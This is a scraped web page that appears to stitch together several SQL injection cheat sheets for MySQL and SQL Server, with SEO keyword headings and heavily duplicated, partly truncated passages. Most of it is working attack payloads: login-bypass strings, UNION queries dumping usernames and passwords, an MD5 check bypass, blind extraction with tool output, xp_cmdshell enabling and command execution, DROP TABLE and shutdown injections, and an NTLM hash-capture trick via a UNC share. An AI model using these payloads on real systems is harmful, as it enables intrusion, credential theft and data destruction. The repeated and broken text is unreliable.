- Sql Server Sql Injection Cheat Sheet Free
- Microsoft Sql Server Sql Injection Cheat Sheet
- Postgresql Sql Injection Cheat Sheet
- Ms Sql Server Cheat Sheet
- Microsoft Sql Server 2012 Sql Injection Cheat Sheet
- Oracle Sql Cheat Sheet
SQL INJECTION CHEAT SHEET Common SQL Injection Commands for Backend Databases MS-SQL Grab version @@version Users name FROM master.syslogins Tables. The following script shows a simple SQL injection. The script builds an SQL query by concatenating hard-coded strings together with a string entered by the user: var Shipcity; ShipCity = Request.form ('ShipCity'); var sql = 'select. from OrdersTable where ShipCity = ' + ShipCity + '; The user is prompted to enter the name of a city.
Note from the author: If you don’t know how SQL Injection works, this page probably won’t help you. This page is for people who already understand the basics of SQL Injection attacks but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate SQL Injection vectors or how to write the data dumping or DB tampering portion of the attack. It will simply show the underlying methodology and you can infer the rest. This document was built with similar structure to my XSS Cheat Sheet to aid researchers with precise and helpful information. Because this is a living document I suggest you continue to use this site to stay up to date.
I am in need of more versions of different databases. If you have access to a database that is not mentioned below and want to contribute, please email me. If you have an RSS reader feel free to subscribe to my very low volume SQL Injection RSS feed below:
SQL Injection:
- Normal SQL Injection:
1 OR 1=1
Database support: [mySQL]
- Normal SQL Injection using encapsulated data:
1′ OR ‘1’=’1
- Blind SQL Injection to throw an error to validate that encapsulation isn’t working. The goal here is to throw an error to cause the application to show us that it is not encapsulating quotes correctly:
1’1
Database support: [mySQL]
- Blind SQL Injection creating an error using EXEC:
1 EXEC SP_ (or EXEC XP_)
- Blind SQL Injection detection (this shouldn’t give us the same result if filtering is in place as we would get if we excluded the
AND 1 = 1
- part. If it does give us the same result it shows that the application is vulnerable):
1 AND 1=1
Database support: [mySQL]
- Blind SQL Injection to attempt to locate
tablenames
- by brute force iteration through potential names (you’ll have to rename
tablenames
- until you find a match):
1′ AND 1=(SELECT COUNT(*) FROM tablenames); --
- Using the USER_NAME() function in SQL Server to tell us if the user is running as the administrator:
1 AND USER_NAME() = ‘dbo’
Database support: [mySQL | SQL]
- Evading escapes with backslashes (this assumes the application comments out a single quote with another single quote and by introducing a backslash before it, it comments out the singlequote that is added by the filter). This type of filter is applied by mySQL’s mysql_real_escape_string() and PERL’s DBD method $dbh->quote():
’; DESC users; --
- More blind SQL Injection by attempting to create an error using the backslash method seen above:
1’1
Database support: [mySQL | SQL]
- Creating errors by calling fake tables. This can help expose vulnerable applications by attempting to create an error by calling tables that are nonexistant (try this with and without the quotes):
1′ AND non_existant_table = ‘1
- Dumping usernames (assuming there is a username table and quotes are not escaped):
‘ OR username IS NOT NULL OR username = ‘
Database support: [mySQL | SQL]
- Enumerating through database table names. By changing the 116 to different numbers you can use logrithmic reduction to find the first char of the database table name. Then iterating through the first 1 in
1, 1
- you can eventually get the whole table name. Originally found by
- :
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1))) > 116
- Finding user supplied tables using the sysObjects table in SQL Server:
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = ‘U’ --
Database support: [mySQL | SQL]
- Bypassing filter evasion using comment tags:
1 UNI/**/ON SELECT ALL FROM WHERE
Character Encoding Calculator
ASCII Text:Enter your SQL Injection hereHex Value:
- URL:
- HTML (with semicolons):
Decimal Value:
- HTML (without semicolons):
Base64 Value
- Base64:
Database support reference table:
mySQL | Vector works in mySQL. Most recently tested with _. |
SQL | Vector works in SQL Server. Most recently tested with _. |
Note: if a vector is not marked it either does not work or it is untested.
Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
Ending / Commenting Out / Line Comments
Line Comments
Ending / Commenting Out / Line Comments
Line Comments
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
— (SM)
DROP sampletable;–
DROP sampletable;–
# (M)
DROP sampletable;#
DROP sampletable;#
Line Comments Sample SQL Injection Attacks
Username: admin’–
SELECT * FROM members WHERE username = ‘admin’–‘ AND password = ‘password’
This is going to log you as admin user, because rest of the SQL query will be ignored.
SELECT * FROM members WHERE username = ‘admin’–‘ AND password = ‘password’
This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
/*Comment Here*/ (SM)
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
/*! MYSQL Special SQL */ (M)
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
ID: 10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
ID: /*!32302 10*/
ID: 10
You will get the same response if MySQL version is higher than 3.23.02
ID: 10
You will get the same response if MySQL version is higher than 3.23.02
SELECT /*!32302 1/0, */ 1 FROM tablenameSyntax Reference, Sample Attacks and Dirty SQL Injection Tricks
Ending / Commenting Out / Line Comments
Line Comments
Ending / Commenting Out / Line Comments
Line Comments
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
— (SM)
DROP sampletable;–
DROP sampletable;–
# (M)
DROP sampletable;#
DROP sampletable;#
Line Comments Sample SQL Injection Attacks
Username: admin’–
SELECT * FROM members WHERE username = ‘admin’–‘ AND password = ‘password’
This is going to log you as admin user, because rest of the SQL query will be ignored.
SELECT * FROM members WHERE username = ‘admin’–‘ AND password = ‘password’
This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
/*Comment Here*/ (SM)
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
/*! MYSQL Special SQL */ (M)
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
ID: 10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
ID: /*!32302 10*/
ID: 10
You will get the same response if MySQL version is higher than 3.23.02
ID: 10
You will get the same response if MySQL version is higher than 3.23.02
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Stacking Queries
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
; (S)
SELECT * FROM members; DROP members–
SELECT * FROM members; DROP members–
Ends a query and starts a new one.
Language / Database Stacked Query Support Table
Language / Database Stacked Query Support Table
green: supported, dark gray: not supported, light gray: unknown
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Stacking Queries
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
; (S)
SELECT * FROM members; DROP members–
SELECT * FROM members; DROP members–
Ends a query and starts a new one.
PHP – MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
Stacked SQL Injection Attack Samples
PHP – MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
Stacked SQL Injection Attack Samples
ID: 10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members–
SELECT * FROM products WHERE id = 10; DROP members–
This will run DROP members SQL sentence after normal SQL Query.
If Statements
If Statements
Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
MySQL If Statement
MySQL If Statement
IF(condition,true-part,false-part) (M)
SELECT IF(1=1,’true’,’false’)
SELECT IF(1=1,’true’,’false’)
SQL Server If Statement
IF condition true-part ELSE false-part (S)
IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
If Statement SQL Injection Attack Samples
if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not “sa” or “dbo”.
Using Integers
This will throw an divide by zero error if current logged user is not “sa” or “dbo”.
Using Integers
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
0xHEXNUMBER (SM)
You can write hex like these;
You can write hex like these;
SELECT CHAR(0x66) (S)
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0x50 + 0x45 (this is integer now!) (M)
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0x50 + 0x45 (this is integer now!) (M)
String Operations
String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
String Concatenation
String Concatenation
+ (S)
SELECT login + ‘-‘ + password FROM members
SELECT login + ‘-‘ + password FROM members
|| (*MO)
SELECT login || ‘-‘ || password FROM members
SELECT login || ‘-‘ || password FROM members
*About MySQL “||”;
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.
CONCAT(str1, str2, str3, …) (M)
Concatenate supplied strings.
SELECT CONCAT(login, password) FROM members
Concatenate supplied strings.
SELECT CONCAT(login, password) FROM members
Strings without Quotes
These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
0x457578 (M) – Hex Representation of string
SELECT 0x457578
This will be selected as string in MySQL.
SELECT 0x457578
This will be selected as string in MySQL.
In MySQL easy way to generate hex representations of strings use this;
SELECT CONCAT(‘0x’,HEX(‘c:boot.ini’))
SELECT CONCAT(‘0x’,HEX(‘c:boot.ini’))
Using CONCAT() in MySQL
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
This will return ‘KLM’.
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
This will return ‘KLM’.
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
This will return ‘KLM’.
This will return ‘KLM’.
Hex based SQL Injection Samples
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
This will show the content of c:boot.ini
This will show the content of c:boot.ini
String Modification & Related
ASCII() (SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
SELECT ASCII(‘a’)
CHAR() (SM)
Convert an integer of ASCII.
Convert an integer of ASCII.
SELECT CHAR(64)
Union Injections
With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
This will combine results from both news table and members table and return all of them.
Another Example :
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–
UNION – Fixing Language Issues
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–
UNION – Fixing Language Issues
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
SQL Server (S)
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one – check out SQL Server documentation.
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one – check out SQL Server documentation.
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
MySQL (M)
Hex() for every possible issue
Hex() for every possible issue
Sql Server Sql Injection Cheat Sheet Free
Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks
SQL Injection 101, Login tricks
admin’ --
admin’ #
admin’/*
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1–
‘) or (‘1’=’1–
….
admin’ #
admin’/*
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1–
‘) or (‘1’=’1–
….
Login as different user (SM*)
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–
*Old versions of MySQL doesn’t support union queries
Bypassing second MD5 hash check login screens
Bypassing second MD5 hash check login screens
If application is first getting the record by username and then compare returned MD5 with supplied password’s MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Bypassing MD5 Hash Check Example (MSP)
Bypassing MD5 Hash Check Example (MSP)
Username : admin
Password : 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055
Password : 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Error Based – Find Columns Names
Finding Column Names with HAVING BY – Error Based (S)
Finding Column Names with HAVING BY – Error Based (S)
In the same order,
‘ HAVING 1=1 --
‘ GROUP BY table.columnfromerror1 HAVING 1=1 --
‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
If you are not getting any more error then it’s done.
‘ GROUP BY table.columnfromerror1 HAVING 1=1 --
‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
If you are not getting any more error then it’s done.
Finding how many columns in SELECT query by ORDER BY (MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
ORDER BY 1–
ORDER BY 2–
ORDER BY N– so on
Keep going until get an error. Error means you found the number of selected columns.
ORDER BY 2–
ORDER BY N– so on
Keep going until get an error. Error means you found the number of selected columns.
Data types, UNION, etc.
Hints,
Hints,
Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
Finding Column Type
‘ union select sum(columntofind) from users– (S)
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
If you are not getting error it means column is numeric.
Also you can use CAST() or CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error – Syntax is right. MS SQL Server Used. Proceeding.
No Error – Syntax is right. MS SQL Server Used. Proceeding.
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
No Error – First column is an integer.
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.
Error! – Second column is not an integer.
11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
No Error – Second column is a string.
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. …
Error! – Third column is not an integer. …
Microsoft OLE DB Provider for SQL Server error ‘80040e07’
Explicit conversion from data type int to image is not allowed.
Explicit conversion from data type int to image is not allowed.
You’ll get convert() errors before union target errors ! So start with convert() then union
Simple Insert (MSO+)
‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
Simple Insert (MSO+)
‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
@@version (MS)
Version of database and more details for SQL Server. It’s a constant. You can just select it like any other column, you don’t need to supply table name. Also you can use insert, update statements or in functions.
Version of database and more details for SQL Server. It’s a constant. You can just select it like any other column, you don’t need to supply table name. Also you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ”+SUBSTRING(@@version,1,10) ,10)
Bulk Insert (S)
Bulk Insert (S)
Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.
Create table foo( line varchar(8000) )
bulk insert foo from ‘c:inetpubwwwrootlogin.asp’
Drop temp table, and repeat for another file.
bulk insert foo from ‘c:inetpubwwwrootlogin.asp’
Drop temp table, and repeat for another file.
BCP (S)
Write text file. Login Credentials are required to use this function.
bcp “SELECT * FROM test.foo” queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar
VBS, WSH in SQL Server (S)
bcp “SELECT * FROM test.foo” queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar
VBS, WSH in SQL Server (S)
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ --
Executing system commands, xp_cmdshell (S)
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ --
Executing system commands, xp_cmdshell (S)
Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell ‘ping ‘
You can not read results directly from error or union or something else.
Some Special Tables in SQL Server (S)
Some Special Tables in SQL Server (S)
Error Messages
master.sysmessages
master.sysmessages
Microsoft Sql Server Sql Injection Cheat Sheet
Linked Servers
master.sysservers
master.sysservers
Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000: masters.sysxlogins
SQL Server 2005 : sys.sql_logins
SQL Server 2000: masters.sysxlogins
SQL Server 2005 : sys.sql_logins
More Stored Procedures for SQL Server (S)
Cmd Execute (xp_cmdshell)
exec master.xp_cmdshell ‘dir’
exec master.xp_cmdshell ‘dir’
Registry Stuff (xp_regread)
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServiceslanmanserverparameters’, ‘nullsessionshares’
exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities’
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServiceslanmanserverparameters’, ‘nullsessionshares’
exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities’
Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (need PID) (xp_terminate_process)
Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ‘xp_webserver’, ‘c:tempx.dll’
exec xp_webserver
Write text file to a UNC or an internal path (sp_makewebtask)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (need PID) (xp_terminate_process)
Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ‘xp_webserver’, ‘c:tempx.dll’
exec xp_webserver
Write text file to a UNC or an internal path (sp_makewebtask)
MSSQL Bulk Notes
SELECT * FROM master.sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master.xp_cmdshell OSQL /Q”DBCC SHOWCONTIG”
OPENROWSET (Transact-SQL) – http://msdn2.microsoft.com/en-us/library/ms190312.aspx
You can not use sub selects in SQL Server Insert queries.
SQL Injection in LIMIT (M) or ORDER (MSO)
SQL Injection in LIMIT (M) or ORDER (MSO)
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,’x’/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
Shutdown SQL Server (S)
Shutdown SQL Server (S)
When you really pissed off, ‘;shutdown --
Enabling xp_cmdshell in SQL Server 2005
Enabling xp_cmdshell in SQL Server 2005
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
EXEC sp_configure ‘show advanced options’,1
RECONFIGURE
RECONFIGURE
EXEC sp_configure ‘xp_cmdshell’,1
RECONFIGURE
Finding Database Structure in SQL Server (S)
Getting User defined Tables
RECONFIGURE
Finding Database Structure in SQL Server (S)
Getting User defined Tables
SELECT name FROM sysobjects WHERE xtype = ‘U’
Getting Column Names
Getting Column Names
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)
Moving records (S)
Moving records (S)
Modify WHERE and use NOT IN or NOT EXIST,
… WHERE users NOT IN (‘First User’, ‘Second User’)
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one
… WHERE users NOT IN (‘First User’, ‘Second User’)
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one
Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id@rd SELECT @rd AS rd into TMP_SYS_TMP end;–
Detailed Article : Fast way to extract data from Error Based SQL Injections
Blind SQL Injections
About Blind SQL Injections
Blind SQL Injections
About Blind SQL Injections
In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
Real and a bit Complex Blind SQL Injection Attack Sample
Real and a bit Complex Blind SQL Injection Attack Sample
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
TRUE and FALSE flags mark queries returned true or false.
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78–
Postgresql Sql Injection Cheat Sheet
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103–
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)89–
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)83–
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)80–
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );
Potentially Useful MySQL Functions
MD5()
MD5 Hashing
SHA1()
SHA1 Hashing
MD5 Hashing
SHA1()
SHA1 Hashing
PASSWORD()
ENCODE()
COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.
ROW_COUNT()
SCHEMA()
VERSION()
Same as @@version
ENCODE()
COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.
ROW_COUNT()
SCHEMA()
VERSION()
Same as @@version
Second Order SQL Injections
Basically you put an SQL Injection to some place and expect it’s unfiltered in another action. This is common hidden layer problem.
Ms Sql Server Cheat Sheet
If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
Forcing SQL Server to get NTLM Hashes
Forcing SQL Server to get NTLM Hashes
This attack can help you to get SQL Server user’s Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
Bulk insert from a UNC Share (S)
bulk insert foo from ‘YOURIPADDRESSC$x.txt’
Bulk insert from a UNC Share (S)
bulk insert foo from ‘YOURIPADDRESSC$x.txt’
—--
1 OR 1=1
1′ OR ‘1’=’1
1’1
1 EXEC SP_ (or EXEC XP_)
1 AND 1=1
1′ AND 1=(SELECT COUNT(*) FROM tablenames); --
1 AND USER_NAME() = ‘dbo’
’; DESC users; --
1’1
